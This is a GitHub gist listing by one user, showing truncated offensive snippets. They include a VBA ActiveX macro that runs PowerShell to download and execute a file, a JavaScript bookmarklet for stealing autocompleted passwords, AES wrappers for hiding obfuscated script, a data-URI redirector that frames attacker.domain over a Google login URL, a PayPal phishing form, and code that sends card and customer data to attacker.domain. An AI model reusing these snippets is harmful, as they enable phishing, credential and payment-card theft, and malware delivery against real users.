Skip to content

Instantly share code, notes, and snippets.

View JPMonglis's full-sized avatar

JPMonglis

  • 127.0.0.1
View GitHub Profile
@JPMonglis
JPMonglis / activeX.txt
Created March 11, 2019 23:15
Using ActiveX controls for macro execution
Sub InkEdit1_GotFocus()
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://trusted.domain/file.exe',‘file.exe');Start-Process ‘file.exe'", vbNormalFocus)
End Sub
@JPMonglis
JPMonglis / ptrn_iframe.txt
Created March 11, 2019 23:01
Javascript: From parent to iframe to steal the autocompleted password field
javascript: var p = r();
function r() {
var g = 0;
var x = false;
var x = z(document.forms);
g = g + 1;
var w = window.frames;
for (var k = 0; k < w.length; k++) {
var x = ((x) || (z(w[k].document.forms)));
@JPMonglis
JPMonglis / aes_js_dec.txt
Created March 11, 2019 22:52
aes_js_decrypt.html
<html><head><script src='https://gist.githubusercontent.com/ianpurton/1122562/raw/12fb2f54bb5c3962ef2665cadb577d6dd60c6d2c/gistfile1.js'></script><script>
var pass = ('s3cr3t')
var to_aes_decrypt = ''
var output = Aes.Ctr.decrypt(to_aes_decrypt, pass, 256);
document.write(output);</script></head></html>
@JPMonglis
JPMonglis / aes_js_enc.txt
Created March 11, 2019 22:51
aes_js_encrypt.html
<html><head><script src="https://gist.githubusercontent.com/ianpurton/1122562/raw/12fb2f54bb5c3962ef2665cadb577d6dd60c6d2c/gistfile1.js"></script><script>
var pass = ('s3cr3t')
var to_aes_encrypt = '<script type="text/javascript">[obfuscated JavaScript from javascriptobfuscator.com]<\/script>'
var output = Aes.Ctr.encrypt(to_aes_encrypt, pass, 256);
alert(output)</script></head></html>
@JPMonglis
JPMonglis / JaeS.txt
Created March 11, 2019 22:49
AES Javascript
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/* AES implementation in JavaScript (c) Chris Veness 2005-2011 */
/* - see http://csrc.nist.gov/publications/PubsFIPS.html#197 */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
var Aes = {}; // Aes namespace
/**
* AES Cipher function: encrypt 'input' state with Rijndael algorithm
* applies Nr rounds (10/12/14) using key schedule w for 'add round key' stage
@JPMonglis
JPMonglis / dataUredirector.txt
Created March 11, 2019 22:45
Redirector using Data URI
<meta http-equiv="Refresh" content="0;
url=data:text/html,https://accounts.google.com
<iframe src='http://attacker.domain' style=' position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;'> Your browser doesn't support iframes </iframe>">
@JPMonglis
JPMonglis / ppal_form.txt
Created March 11, 2019 22:42
ppal html form
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!--
Script info: script: webscr, cmd: _login-done, template: xpt/Customer/account/Welcome, date: Oct 11, 2012 16:49:51 PDT; country: IL, language: en_US, xslt server:
web version: 96.0-3969444 branch: 0c70be8c0a73dfbb978732422efbf4fca0a23a3b
content version: -
pexml version: 96.0-3926915
page XSL: Customer/default/en_US/account/Welcome.xsl
hostname : r.2spu2LOUZcNnBRsYjePxQpStse5G4-zegwL6TJwPY
rlogid : r%2f2spu2LOUZcNnBRsYjeP%2fNpCNULCflCYA8cyCpRTG%2b5JByM%2b7UIRg%3d%3d_13a6c359470
@JPMonglis
JPMonglis / re_capture.txt
Created March 11, 2019 22:40
js to capture redirects
var cus_cc_type = '',
cus_data = '',
cc_data = '',
chosen_country = '',
data_receiver_url = 'http://attacker.domain/receiver.php',
redirect_url = 'https://www.paypal.com/';
$(function(){
//setup page layout based on hashes
@JPMonglis
JPMonglis / hachchange.txt
Created March 11, 2019 22:39
jquery-hashchange.min
/*
* jQuery hashchange event - v1.3 - 7/21/2010
* http://benalman.com/projects/jquery-hashchange-plugin/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
(function($,e,b){var c="hashchange",h=document,f,g=$.event.special,i=h.documentMode,d="on"+c in e&&(i===b||i>7);function a(j){j=j||location.href;return"#"+j.replace(/^[^#]*#?(.*)$/,"$1")}$.fn[c]=function(j){return j?this.bind(c,j):this.trigger(c)};$.fn[c].delay=50;g[c]=$.extend(g[c],{setup:function(){if(d){return false}$(f.start)},teardown:function(){if(d){return false}$(f.stop)}});f=(function(){var j={},p,m=a(),k=function(q){return q},l=k,o=k;j.start=function(){p||n()};j.stop=function(){p&&clearTimeout(p);p=b};function n(){var r=a(),q=o(m);if(r!==m){l(m=r,q);$(e).trigger(c)}else{if(q!==m){location.href=location.href.replace(/#.*/,"")+q}}p=setTimeout(n,$.fn[c].delay)}$.browser.msie&&!d&&(function(){var q,r;j.start=function(){if(!q){r=$.fn[c].src;r=r&&r+a();q=$('<iframe t
@JPMonglis
JPMonglis / console_app2.txt
Created March 11, 2019 22:30
C# Console Application 2
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Resources;
using System.Net;
using System.Collections.ObjectModel;